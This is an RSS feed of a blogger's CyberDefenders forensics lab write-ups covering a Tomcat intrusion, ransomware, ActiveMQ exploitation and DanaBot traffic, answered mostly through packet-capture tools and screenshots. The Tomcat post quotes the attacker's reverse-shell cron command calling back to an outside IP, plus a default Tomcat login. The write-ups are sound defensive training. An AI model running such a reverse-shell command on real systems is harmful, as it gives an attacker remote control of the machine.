<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ziad Mohamed Mahmoud on Medium]]></title>
        <description><![CDATA[Stories by Ziad Mohamed Mahmoud on Medium]]></description>
        <link>https://medium.com/@ziadmorsy?source=rss-312d249e3dbd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*pFHvjMkYs4VNsN-_</url>
            <title>Stories by Ziad Mohamed Mahmoud on Medium</title>
            <link>https://medium.com/@ziadmorsy?source=rss-312d249e3dbd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:00:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ziadmorsy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tomcat Web Server Incident Investigation lab]]></title>
            <link>https://medium.com/@ziadmorsy/tomcat-web-server-incident-investigation-lab-bcefa3de5196?source=rss-312d249e3dbd------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcefa3de5196</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[networkminer]]></category>
            <dc:creator><![CDATA[Ziad Mohamed Mahmoud]]></dc:creator>
            <pubDate>Mon, 23 Dec 2024 18:01:17 GMT</pubDate>
            <atom:updated>2024-12-23T18:01:17.152Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Q1. The captured pcap file reveals numerous requests across different ports, suggesting that the attacker might have scanned the server for vulnerabilities. Can you identify the IP address of the source responsible for initiating these requests?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*7ICqvSBdQ210F5c8y71N0w.png" /></figure><p>This IP did try long in by default password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*Wju0xEvMuF9KlaCPhwl4GQ.png" /></figure><p>so Answer <strong>14.0.0.120</strong></p><p><strong>Q2. Based on the attacker’s IP address, can you determine the geographical location, specifically the city, from which the attack originated?</strong></p><p>I search <strong>city by </strong>whatismyipaddress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Da-3Cs13F20Xc7N7faEBJA.png" /></figure><p>Answer <strong>Guangzhou</strong></p><p><strong>Q3. Among the various open ports detected during the scan, one provides access to the web server’s administrative panel. Which port number corresponds to the admin panel?</strong></p><p>by Wireshark and click HTTP Stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gW7jOYH1q7S-Jv7AJDQYCQ.png" /></figure><p>Answer <strong>8080</strong></p><p><strong>Q4. The attacker used certain tools to enumerate files and directories on the compromised web server. What tool(s) can you identify from the analysis that the attacker used for this enumeration process?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8049-pAdHCHnwvpqDNe-A.png" /></figure><p>Answer:<strong>gobuster</strong></p><p><strong>Q5. During the enumeration process, the attacker was able to locate the directory associated with the administrative interface. What is the name of this directory?</strong></p><p>using network miner than files</p><p>I think Answer <strong>/manager</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNiGOVdFXm2WcWl7YOMocg.png" /></figure><p><strong>Q6. After finding the admin panel, the attacker attempted a brute force attack to gain access. What usrname and passing-code combination did they successfully use?</strong></p><p>using network miner than Credentials</p><p>I found them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1S4W25fZprqr3UazMOkMg.png" /></figure><p>Answer <strong>admin:tomcat</strong></p><p><strong>Q7. Once authenticated, the attacker uploaded a malicious file with the intent to create a reverse shell. What is the name of the file uploaded?</strong></p><p>using network miner than files</p><p>I think Answer JXQOZY.war</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3r7WXHEU_WTDLx_1zx8T7A.png" /></figure><p>to sure it, I take Hash’s file and search in virus Total</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8zSrEJcycF1o2pFp6ZE0zw.png" /></figure><p><strong>Q8. To maintain persistence on the compromised server, the attacker scheduled a command to ensure they could reconnect later. What is the exact command they used?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRuDM7ofMkAcFw-waZKKRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RwzBQMkFd-wPdXWkxPFQFA.png" /></figure><p>The attacker gained root access through the exploit, changed to the /tmp directory, and created a crontab entry to run a reverse TCP command every minute to connect back to them.</p><p>Answer <strong>/bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1’</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcefa3de5196" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunter Lab cyberdefenders Writeup]]></title>
            <link>https://medium.com/@ziadmorsy/hunter-lab-cyberdefenders-writeup-1e5024a0b6d8?source=rss-312d249e3dbd------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e5024a0b6d8</guid>
            <category><![CDATA[autopsy]]></category>
            <dc:creator><![CDATA[Ziad Mohamed Mahmoud]]></dc:creator>
            <pubDate>Fri, 20 Dec 2024 20:40:32 GMT</pubDate>
            <atom:updated>2024-12-20T20:40:32.580Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tools Used:</h3><ul><li>Autospy</li><li>SysTools Outlook PST Viewer</li><li>WinPrefetchView</li><li>DCode</li><li>Registry Explorer</li><li>FTK Imager</li><li>jumplistexplorer</li></ul><p><strong>Q1: What is the computer name of the suspect machine?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cqVk8t8HXonORAel.png" /></figure><p><strong>Q2: What is the computer IP?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*BVQENa-EI1DqMdjJ.png" /></figure><h3>Q3. What was the DHCP LeaseObtainedTime?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*mF_wzeQ_i0O9Qr_l.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*QToWCawyw3VTgFnw.png" /></figure><h3>Q4. What is the computer SID?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VYxVbWFtWMFa3vZs.png" /></figure><p>export the software file and open it with registry viewer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XWzCydQVVs_SpPcN.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e5024a0b6d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BlueSky Ransomware Lab]]></title>
            <link>https://medium.com/@ziadmorsy/bluesky-ransomware-lab-4e58f709140b?source=rss-312d249e3dbd------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e58f709140b</guid>
            <category><![CDATA[windows-event-viewer]]></category>
            <category><![CDATA[virustotal]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[networkminer]]></category>
            <dc:creator><![CDATA[Ziad Mohamed Mahmoud]]></dc:creator>
            <pubDate>Fri, 13 Dec 2024 09:15:10 GMT</pubDate>
            <atom:updated>2024-12-13T09:15:10.577Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JbTNRNo7ST8ZT03hwpTEJg.png" /></figure><blockquote><em>Category: Network Forensics</em></blockquote><blockquote><em>Tools:</em></blockquote><ul><li>Wireshark</li><li>Network Miner</li><li>Windows Event Viewer</li><li>Virustotal</li></ul><p><strong>Q1:Knowing the source IP of the attack allows security teams to respond to potential threats quickly. Can you identify the source IP responsible for potential port scanning activity?</strong></p><p>by Network Miner go to host</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*QmC9UQRNkgAsITopB35vPQ.png" /></figure><p><strong>Q2:During the investigation, it’s essential to determine the account targeted by the attacker. Can you identify the targeted account username?</strong></p><p>by Network Miner go to <strong>Credentials </strong>, I found <strong>username</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*byrU0mtYUq7LDm1OtZvJWw.png" /></figure><p><strong>Q3:We need to determine if the attacker succeeded in gaining access. Can you provide the correct password discovered by the attacker?</strong></p><p>by Network Miner go to <strong>Credentials </strong>, I found <strong>password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*byrU0mtYUq7LDm1OtZvJWw.png" /></figure><p><strong>Q4:Attackers often change some settings to facilitate lateral movement within a network. What setting did the attacker enable to control the target host further and execute further commands?</strong></p><p>by Network Miner go to Parameters, I found it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*h19xo4U5ZLhPocIMHdwUZg.png" /></figure><p><strong>Q5:Process injection is often used by attackers to escalate privileges within a system. What process did the attacker inject the C2 into to gain administrative privileges?<br></strong>open the log file (provided with lab files) with event viewer :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tNOgo-t4Stl6XylVN9YINw.png" /></figure><p><strong>Q6:Following privilege escalation, the attacker attempted to download a file. Can you identify the URL of this file downloaded?</strong></p><p>Filter the packets using IP and HTTP protocol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQwGZxKIiV8EkstFGl9SnQ.png" /></figure><p><strong>Q7:Understanding which group Security Identifier (SID) the malicious script checks to verify the current user’s privileges can provide insights into the attacker’s intentions. Can you provide the specific Group SID that is being checked?</strong></p><p>From previous packet click HTTP Stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDwx6DSKhE7LiEGWavwdXg.png" /></figure><p><strong>Q8:Windows Defender plays a critical role in defending against cyber threats. If an attacker disables it, the system becomes more vulnerable to further attacks. What are the registry keys used by the attacker to disable Windows Defender functionalities? Provide them in the same order found.</strong></p><p>From previous packet click HTTP Stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_wQnnL3mowFcklIFh1m8w.png" /></figure><p><strong>Q9:Can you determine the URL of the second file downloaded by the attacker?</strong></p><p>filter HTTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayNOlOz-l7VOyS1ySB0urA.png" /></figure><p><strong>Q10:Identifying malicious tasks and understanding how they were used for persistence helps in fortifying defenses against future attacks. What’s the full name of the task created by the attacker to maintain persistence?</strong></p><p>in the same stream, you can filter the stream using “task” keyword :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_MK1f2uWsRYpuXQfAEfuQ.png" /></figure><p><strong>Q11:According to your analysis of the second malicious file, what is the MITRE ID of the tactic the file aims to achieve?</strong></p><p>From a previous question Q9 we know that, the attacker download a second file named del.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UfReD_TdY994_oi1Bu6R5A.png" /></figure><p>we can see the attacker try to evade the defense tools by force stop this apps</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ArpBpJLIUD9o4afys7Ppg.png" /></figure><p><strong>Q12:What’s the invoked PowerShell script used by the attacker for dumping credentials?</strong></p><p>I notice a PowerShell script named “Invoke-PowerDump.ps1” and go to HTTP Stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zi6QDVpKh5NVdJF2-mmnig.png" /></figure><p><strong>Q13:Understanding which credentials have been compromised is essential for assessing the extent of the data breach. What’s the name of the saved text file containing the dumped credentials?</strong></p><p>follow http stream to this packet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1rECgSTIoFsv6y_3y3yZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M6n5tNQ4-sHvuAYpWXxP3A.png" /></figure><p><strong>Q14:Knowing the hosts targeted during the attacker’s reconnaissance phase, the security team can prioritize their remediation efforts on these specific hosts. What’s the name of the text file containing the discovered hosts?</strong></p><p>By Network Miner and go to Files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*lZIC-YoRZVYfcOhxj-4Qgw.png" /></figure><p><strong>Q15:After hash dumping, the attacker attempted to deploy ransomware on the compromised host, spreading it to the rest of the network through previous lateral movement activities using SMB. You’re provided with the ransomware sample for further analysis. By performing behavioral analysis, what’s the name of the ransom note file?</strong></p><p>Upload ransomware file into virustotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4clPp2u6tn_LQ59W0L907w.png" /></figure><ul><li>in behavior tap, Go to <strong>File system actions </strong>:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u-k7tLMTtjXnfz-PkEc_CQ.png" /></figure><p><strong>Q16:In some cases, decryption tools are available for specific ransomware families. Identifying the family name can lead to a potential decryption solution. What’s the name of this ransomware family?</strong></p><p>in Family labels</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-UV4s7lkuAYlLPyPNqNHNA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e58f709140b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders OpenWire Write-up]]></title>
            <link>https://medium.com/@ziadmorsy/cyberdefenders-openwire-write-up-b6395718ec35?source=rss-312d249e3dbd------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6395718ec35</guid>
            <category><![CDATA[networkminer]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Ziad Mohamed Mahmoud]]></dc:creator>
            <pubDate>Thu, 12 Dec 2024 20:46:31 GMT</pubDate>
            <atom:updated>2024-12-12T20:46:31.168Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zocAB4npnfja41Q19LBNzw.png" /></figure><h3>Q1-By identifying the C2 IP, we can block traffic to and from this IP, helping to contain the breach and prevent further data exfiltration or command execution. Can you provide the IP of the C2 server that communicated with our server?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JhquB6DpIyj_2o1LBwU_wQ.png" /></figure><h3>Q2-Initial entry points are critical to trace back the attack vector. What is the port number of the service the adversary exploited?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*cUkQ5vtbD_K65Xs6qiQu8w.png" /></figure><h3>Q3- Following up on the previous question, what is the name of the service found to be vulnerable?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSXmbSxp-K_XkfGSNiLMeg.png" /></figure><h3>Q4- The attacker’s infrastructure often involves multiple components. What is the IP of the second C2 server?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*XQ_soqphfrhlbTxmR2FX-A.png" /></figure><h3>Q5- Attackers usually leave traces on the disk. What is the name of the reverse shell executable dropped on the server?</h3><p>by HTTP Stream C2 IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*fH6JTeKZ5FFxAJ-7fnqOIA.png" /></figure><h3>Q6- What Java class was invoked by the XML file to run the exploit?</h3><p>by HTTP Stream C2 IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*T5R9Ipk-AOlHbNhHHx_1Mg.png" /></figure><h3>Q7- To better understand the specific security flaw exploited, can you identify the CVE identifier associated with this vulnerability?</h3><p>Search for CVEs affecting Apache ActiveMQ in 2023</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jk_RoqFEHukAuXKih1SWtg.png" /></figure><h3>Q8- What is the vulnerable Java method and class that allows an attacker to run arbitrary code? (Format: Class.Method)</h3><p>I found the answer in <a href="https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604?source=post_page-----65aa41a651b1--------------------------------">this article</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbCryuPP9GOqrskRIFYwEA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6395718ec35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup danabot lab cyberdefenders]]></title>
            <link>https://medium.com/@ziadmorsy/writeup-danabot-lab-cyberdefenders-e502d4e403bf?source=rss-312d249e3dbd------2</link>
            <guid isPermaLink="false">https://medium.com/p/e502d4e403bf</guid>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[virustotal]]></category>
            <category><![CDATA[networkminer]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Ziad Mohamed Mahmoud]]></dc:creator>
            <pubDate>Thu, 12 Dec 2024 19:19:47 GMT</pubDate>
            <atom:updated>2024-12-12T19:19:47.697Z</atom:updated>
            <content:encoded><![CDATA[<p>by using Wireshark and NetworkMiner.</p><p><strong>ََQ1:What is the malicious file name used for initial access?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*5IohWTU9gK9JtQY-blmb1w.png" /></figure><p><strong>Q2:What is the sha256 hash of the file used for initial access?<br></strong>from network miner you can get all info that you need about that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*fS_gti2g0lsIKXRvYDEMGg.png" /></figure><p><strong>Q3:What is the process used to execute the malicious file?</strong></p><p>by file hash from virustotal <br>Go to Behavior than <strong>Registry actions</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yP6YS1ixw5ooNvSxcYi4gw.png" /></figure><p><strong>Q4:What is the extension of the second malicious file used by the attacker?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*CVu4wS_Lh1tkliHs7zXS8w.png" /></figure><p><strong>Q5:What is the MD5 hash of the second malicious file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*RoqTxIiuZa1fsg0TVm34GQ.png" /></figure><p><strong>Q6:What is the IP address used by the attacker in initial access?</strong></p><p>you may find that the IP address is spoofing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*5sw_a2KkLmJCls6ZcSfAuw.png" /></figure><p><strong>Q7:What is the last malicious IP address in the PCAP that is known to be used as CnC by DanaBot?</strong></p><p>Last ip in Wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0FZ4U1LMf0xgwUfAoFns2w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e502d4e403bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>